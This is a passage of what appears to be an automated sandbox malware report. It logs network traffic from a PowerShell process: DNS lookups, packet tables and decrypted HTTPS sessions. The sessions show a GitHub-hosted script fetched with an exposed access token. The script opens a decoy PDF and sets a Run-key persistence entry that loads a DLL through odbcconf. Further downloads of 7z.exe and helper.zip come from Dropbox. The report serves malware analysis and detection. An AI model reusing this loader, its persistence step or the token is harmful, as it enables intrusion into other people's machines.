Dec 17, 2024 12:27:17.554073095 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.630259991 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.630453110 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.636260986 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.636495113 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.636554003 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.636617899 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.641911030 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.642117977 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.646899939 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.646986008 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.649482012 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.649558067 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.649559975 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.649570942 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.649610043 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.652151108 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.652221918 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.654740095 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.654798985 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.672365904 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.672383070 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.672432899 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.672467947 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.672501087 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.680103064 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.680180073 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.680195093 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.681655884 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.681713104 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.681725025 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.681864977 CET	443	49740	162.125.65.18	192.168.2.4
Dec 17, 2024 12:27:17.681982040 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:17.699364901 CET	49740	443	192.168.2.4	162.125.65.18
Dec 17, 2024 12:27:18.617834091 CET	49740	443	192.168.2.4	162.125.65.18

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 12:27:02.054728031 CET	63212	53	192.168.2.4	1.1.1.1
Dec 17, 2024 12:27:02.285826921 CET	53	63212	1.1.1.1	192.168.2.4
Dec 17, 2024 12:27:10.619411945 CET	59821	53	192.168.2.4	1.1.1.1
Dec 17, 2024 12:27:10.757494926 CET	53	59821	1.1.1.1	192.168.2.4
Dec 17, 2024 12:27:16.856245995 CET	56559	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 12:27:02.054728031 CET	192.168.2.4	1.1.1.1	0x11b6	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:27:10.619411945 CET	192.168.2.4	1.1.1.1	0xc720	Standard query (0)	www.dropbox.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:27:16.856245995 CET	192.168.2.4	1.1.1.1	0xa439	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 12:27:02.285826921 CET	1.1.1.1	192.168.2.4	0x11b6	No error (0)	raw.githubusercontent.com		185.199.108.133	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:27:02.285826921 CET	1.1.1.1	192.168.2.4	0x11b6	No error (0)	raw.githubusercontent.com		185.199.109.133	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:27:02.285826921 CET	1.1.1.1	192.168.2.4	0x11b6	No error (0)	raw.githubusercontent.com		185.199.110.133	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:27:02.285826921 CET	1.1.1.1	192.168.2.4	0x11b6	No error (0)	raw.githubusercontent.com		185.199.111.133	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:27:10.757494926 CET	1.1.1.1	192.168.2.4	0xc720	No error (0)	www.dropbox.com	www-env.dropbox-dns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:27:10.757494926 CET	1.1.1.1	192.168.2.4	0xc720	No error (0)	www-env.dropbox-dns.com		162.125.65.18	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:27:17.094794989 CET	1.1.1.1	192.168.2.4	0xa439	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 17, 2024 12:27:18.723613024 CET	1.1.1.1	192.168.2.4	0xd09e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 17, 2024 12:27:18.723613024 CET	1.1.1.1	192.168.2.4	0xd09e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

raw.githubusercontent.com

www.dropbox.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.199.108.133	443	6884	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:27:03 UTC	267	OUT	GET /1x3k/secret/refs/heads/main/secret HTTP/1.1 Authorization: token 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 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-12-17 11:27:04 UTC	898	IN	HTTP/1.1 200 OK Connection: close Content-Length: 788 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "82b6510155803c18e881b0f468cae634a248e3029053cd967015ca1fd5343a9f" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: B045:31C1B9:888FA:93246:67616007 Accept-Ranges: bytes Date: Tue, 17 Dec 2024 11:27:03 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740049-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1734434824.811687,VS0,VE162 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 73f00452e1746c29abdf21d05de3b0b4b2f3e691 Expires: Tue, 17 Dec 2024 11:32:03 GMT Source-Age: 0
2024-12-17 11:27:04 UTC	788	IN	Data Raw: 65 63 68 6f 20 31 20 3e 20 46 6f 72 6d 5f 4c 61 6d 61 72 61 6e 2e 70 64 66 20 3b 20 2e 5c 46 6f 72 6d 5f 4c 61 6d 61 72 61 6e 2e 70 64 66 20 3b 20 69 66 20 28 54 65 73 74 2d 50 61 74 68 20 22 43 3a 5c 68 65 6c 70 65 72 5c 68 65 6c 70 65 72 2e 7a 69 70 22 29 20 7b 20 65 78 69 74 20 7d 20 65 6c 73 65 20 7b 20 4e 65 77 2d 49 74 65 6d 50 72 6f 70 65 72 74 79 20 2d 50 61 74 68 20 22 48 4b 43 55 3a 5c 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 52 75 6e 22 20 2d 4e 61 6d 65 20 22 57 69 6e 64 6f 77 73 48 65 6c 70 65 72 22 20 2d 56 61 6c 75 65 20 27 6f 64 62 63 63 6f 6e 66 20 2f 61 20 7b 52 45 47 53 56 52 20 22 43 3a 5c 68 65 6c 70 65 72 5c 70 73 32 2e 64 6c 6c 22 7d 27 20 2d 46 6f Data Ascii: echo 1 > Form_Lamaran.pdf ; .\Form_Lamaran.pdf ; if (Test-Path "C:\helper\helper.zip") { exit } else { New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsHelper" -Value 'odbcconf /a {REGSVR "C:\helper\ps2.dll"}' -Fo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	162.125.65.18	443	6884	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:27:12 UTC	244	OUT	GET /scl/fi/srqk73oyk4n1631ghrauh/7z.exe?rlkey=ene1k0gk7xpk6dtuc5uk5a7u9&st=w7kwfty1&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com Connection: Keep-Alive
2024-12-17 11:27:13 UTC	3872	IN	HTTP/1.1 200 OK Content-Security-Policy: object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; img-src https://* data: blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; font-src https://* data: ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; base-uri 'self' ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; media-src https://* blob: ; form-action https://docs.google.com/document/fsip/ https://do [TRUNCATED] Content-Type: text/html; charset=utf-8 Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=MjM1MTY3NTczNjY3NjMyNzM2ODYxNDIyNjc1NjQxNzc2NjgzNjg4; Path=/; Expires=Sun, 16 Dec 2029 11:27:12 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=psKRIkWvnTPmklkhViflyJ7s; Path=/; Domain=dropbox.com; Expires=Wed, 17 Dec 2025 11:27:12 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=psKRIkWvnTPmklkhViflyJ7s; Path=/; Expires=Wed, 17 Dec 2025 11:27:12 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=Pw8me2hxR0; Path=/; Expires=Wed, 17 Dec 2025 11:27:12 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sun, 16 Dec 2029 11:27:12 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Date: Tue, 17 Dec 2024 11:27:12 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 249f252432f64403b17ac7dd95c64061 Connection: close Transfer-Encoding: chunked
2024-12-17 11:27:13 UTC	805	IN	Data Raw: 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6d 61 65 73 74 72 6f 20 67 6c 6f 62 61 6c 2d 68 65 61 64 65 72 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0d 0a 36 0d 0a 3c 68 65 61 64 3e 0d 0a 31 39 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 0d 0a 34 31 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 69 6d 61 67 65 69 6e 64 65 78 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 2f 3e 0a 0d 0a 34 37 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 Data Ascii: 64<!DOCTYPE html><html class="maestro global-header" xmlns="http://www.w3.org/1999/xhtml" lang="en">6<head>19<meta charset="utf-8" />41<meta content="noindex, nofollow, noimageindex" name="robots" />47<meta content="width=device-widt
2024-12-17 11:27:13 UTC	3710	IN	Data Raw: 62 63 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 61 70 70 5f 61 63 74 69 6f 6e 73 2f 69 6e 64 65 78 2d 76 66 6c 77 77 7a 54 4e 45 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 63 33 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 Data Ascii: bc<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/app_actions/index-vflwwzTNE.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>c3<link rel="preload" href="https://cfl.dropboxstatic.com/s
2024-12-17 11:27:13 UTC	4582	IN	Data Raw: 66 62 0d 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 4d 58 6b 66 55 33 45 6d 38 55 34 56 53 53 47 6d 77 70 66 63 45 50 4d 54 76 51 77 3d 22 3e 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 76 61 72 20 73 74 61 72 74 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 3b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 61 64 64 52 65 71 75 69 72 65 4c 6f 61 64 43 61 6c 6c 62 61 63 6b 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 45 44 49 53 4f 4e 5f 4d 45 54 52 49 43 53 5f 52 45 51 55 49 52 45 5f 4c 4f 41 44 5f 43 41 4c 4c 42 41 43 4b 5f 54 49 4d 45 20 3d 20 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6e 6f 77 28 29 20 2d 20 73 74 61 72 74 3b 0a 20 20 20 20 7d 29 3b 0a 7d 29 28 29 3b 0a 3c 2f 73 63 72 69 70 74 3e Data Ascii: fb<script nonce="MXkfU3Em8U4VSSGmwpfcEPMTvQw=">(function () { var start = performance.now(); window.addRequireLoadCallback(function() { window.EDISON_METRICS_REQUIRE_LOAD_CALLBACK_TIME = performance.now() - start; });})();</script>
2024-12-17 11:27:13 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 73 74 61 74 69 63 2f 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 61 63 74 69 6f 6e 73 5f 64 6f 77 6e 6c 6f 61 64 5f 61 70 70 5f 6d 6f 64 61 6c 5f 6d 6f 64 61 6c 2d 76 66 6c 34 61 6e 79 6e 33 22 2c 20 22 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 61 63 74 69 76 61 74 69 6f 6e 5f 64 61 74 61 5f 73 6c 69 63 65 73 22 3a 20 22 73 74 61 74 69 63 2f 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 61 63 74 69 76 61 74 69 6f 6e 5f 64 61 Data Ascii: 4000static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_actions_download_app_modal_modal-vfl4anyn3", "atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_activation_data_slices": "static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_activation_da
2024-12-17 11:27:13 UTC	16384	IN	Data Raw: 74 6c 61 73 2f 66 0d 0a 34 30 30 30 0d 0a 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 64 61 73 68 5f 75 70 73 65 6c 6c 5f 73 65 61 72 63 68 5f 62 61 72 5f 75 70 73 65 6c 6c 5f 64 61 73 68 5f 6d 6f 64 61 6c 5f 6c 6f 74 74 69 65 22 3a 20 22 73 74 61 74 69 63 2f 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 64 61 73 68 5f 75 70 73 65 6c 6c 5f 73 65 61 72 63 68 5f 62 61 72 5f 75 70 73 65 6c 6c 5f 64 61 73 68 5f 6d 6f 64 61 6c 5f 6c 6f 74 74 69 65 2d 76 66 6c 66 58 4a 32 7a 71 22 2c 20 22 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 Data Ascii: tlas/f4000ile_viewer/scl_oboe_file_bundle_amd/dist/c_dash_upsell_search_bar_upsell_dash_modal_lottie": "static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_dash_upsell_search_bar_upsell_dash_modal_lottie-vflfXJ2zq", "atlas/file_viewer/scl_oboe_fi
2024-12-17 11:27:13 UTC	16	IN	Data Raw: 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 0d 0a Data Ascii: l_oboe_file_bu
2024-12-17 11:27:13 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 64 72 6f 70 69 6e 73 5f 76 33 5f 73 68 61 72 65 64 5f 68 69 67 68 6c 69 67 68 74 61 62 6c 65 5f 66 69 6c 65 6e 61 6d 65 5f 74 65 78 74 22 3a 20 22 73 74 61 74 69 63 2f 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 64 72 6f 70 69 6e 73 5f 76 33 5f 73 68 61 72 65 64 5f 68 69 67 68 6c 69 67 68 74 61 62 6c 65 5f 66 69 6c 65 6e 61 6d 65 5f 74 65 78 74 2d 76 66 6c 47 37 31 72 34 53 22 2c 20 22 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 65 64 69 73 6f 6e 5f 63 6f 6f 6b 69 65 73 5f 63 68 65 Data Ascii: 4000ndle_amd/dist/c_dropins_v3_shared_highlightable_filename_text": "static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_dropins_v3_shared_highlightable_filename_text-vflG71r4S", "atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_edison_cookies_che
2024-12-17 11:27:13 UTC	8	IN	Data Raw: 65 67 72 61 74 69 0d 0a Data Ascii: egrati
2024-12-17 11:27:13 UTC	16384	IN	Data Raw: 34 30 30 30 0d 0a 6f 6e 5f 6c 61 75 6e 63 68 65 72 2d 76 66 6c 50 6e 43 2d 66 7a 22 2c 20 22 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 69 6e 74 65 67 72 61 74 69 6f 6e 73 5f 68 65 6c 6c 6f 73 69 67 6e 5f 64 65 65 70 5f 69 6e 74 65 67 72 61 74 69 6f 6e 5f 75 74 69 6c 2e 61 66 74 65 72 2d 64 69 73 70 6c 61 79 22 3a 20 22 73 74 61 74 69 63 2f 61 74 6c 61 73 2f 66 69 6c 65 5f 76 69 65 77 65 72 2f 73 63 6c 5f 6f 62 6f 65 5f 66 69 6c 65 5f 62 75 6e 64 6c 65 5f 61 6d 64 2f 64 69 73 74 2f 63 5f 69 6e 74 65 67 72 61 74 69 6f 6e 73 5f 68 65 6c 6c 6f 73 69 67 6e 5f 64 65 65 70 5f 69 6e 74 65 67 72 61 74 69 6f 6e 5f 75 74 69 6c 2e 61 66 74 65 72 2d 64 69 73 70 Data Ascii: 4000on_launcher-vflPnC-fz", "atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_integrations_hellosign_deep_integration_util.after-display": "static/atlas/file_viewer/scl_oboe_file_bundle_amd/dist/c_integrations_hellosign_deep_integration_util.after-disp
2024-12-17 11:27:13 UTC	8	IN	Data Raw: 64 5f 75 69 5f 6c 0d 0a Data Ascii: d_ui_l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	162.125.65.18	443	6884	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 11:27:16 UTC	224	OUT	GET /scl/fi/pn7ry2p5lmc4u74vvcfsv/helper.zip?rlkey=nojg2y9c8en2q3rgyoy57e4f7&st=7x088417&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com
2024-12-17 11:27:17 UTC	3872	IN	HTTP/1.1 200 OK Content-Security-Policy: form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.officeapps.live-int.com https://officeapps-df.live.com https://.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https [TRUNCATED] Content-Type: text/html; charset=utf-8 Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=Njg5MzQyMzM3ODAyOTY0ODM1NjIzNjY1MTkzOTk0MzEyMDMwMTY=; Path=/; Expires=Sun, 16 Dec 2029 11:27:16 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=5_zeiGwb2aJv6Y_Xp94CcKn6; Path=/; Domain=dropbox.com; Expires=Wed, 17 Dec 2025 11:27:16 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=5_zeiGwb2aJv6Y_Xp94CcKn6; Path=/; Expires=Wed, 17 Dec 2025 11:27:16 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=7Zjff5I2dQ; Path=/; Expires=Wed, 17 Dec 2025 11:27:16 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sun, 16 Dec 2029 11:27:16 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Date: Tue, 17 Dec 2024 11:27:16 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store Vary: Accept-Encoding X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 6b321aa98485410287c6b5eb5fff95cf Connection: close Transfer-Encoding: chunked
2024-12-17 11:27:17 UTC	1924	IN	Data Raw: 36 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6d 61 65 73 74 72 6f 20 67 6c 6f 62 61 6c 2d 68 65 61 64 65 72 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0d 0a 36 0d 0a 3c 68 65 61 64 3e 0d 0a 31 39 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 0d 0a 34 31 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 2c 20 6e 6f 69 6d 61 67 65 69 6e 64 65 78 22 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 2f 3e 0a 0d 0a 34 37 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 Data Ascii: 64<!DOCTYPE html><html class="maestro global-header" xmlns="http://www.w3.org/1999/xhtml" lang="en">6<head>19<meta charset="utf-8" />41<meta content="noindex, nofollow, noimageindex" name="robots" />47<meta content="width=device-widt
2024-12-17 11:27:17 UTC	1755	IN	Data Raw: 62 39 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 69 63 2f 6d 65 74 61 73 65 72 76 65 72 2f 73 74 61 74 69 63 2f 63 73 73 2f 67 6f 6f 67 6c 65 5f 6f 6e 65 5f 74 61 70 2d 76 66 6c 70 39 58 44 4c 4a 2e 63 73 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 20 61 73 3d 22 73 74 79 6c 65 22 20 64 61 74 61 2d 6c 6f 61 64 65 72 3d 22 64 62 78 5f 65 64 69 73 6f 6e 5f 70 61 67 65 5b 72 65 71 75 65 73 74 65 64 5f 63 73 73 5d 22 2f 3e 0a 0d 0a 64 32 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 66 6c 2e 64 72 6f 70 62 6f 78 73 74 61 74 69 63 2e 63 6f 6d 2f 73 74 61 74 Data Ascii: b9<link rel="preload" href="https://cfl.dropboxstatic.com/static/metaserver/static/css/google_one_tap-vflp9XDLJ.css" crossorigin as="style" data-loader="dbx_edison_page[requested_css]"/>d2<link rel="preload" href="https://cfl.dropboxstatic.com/stat
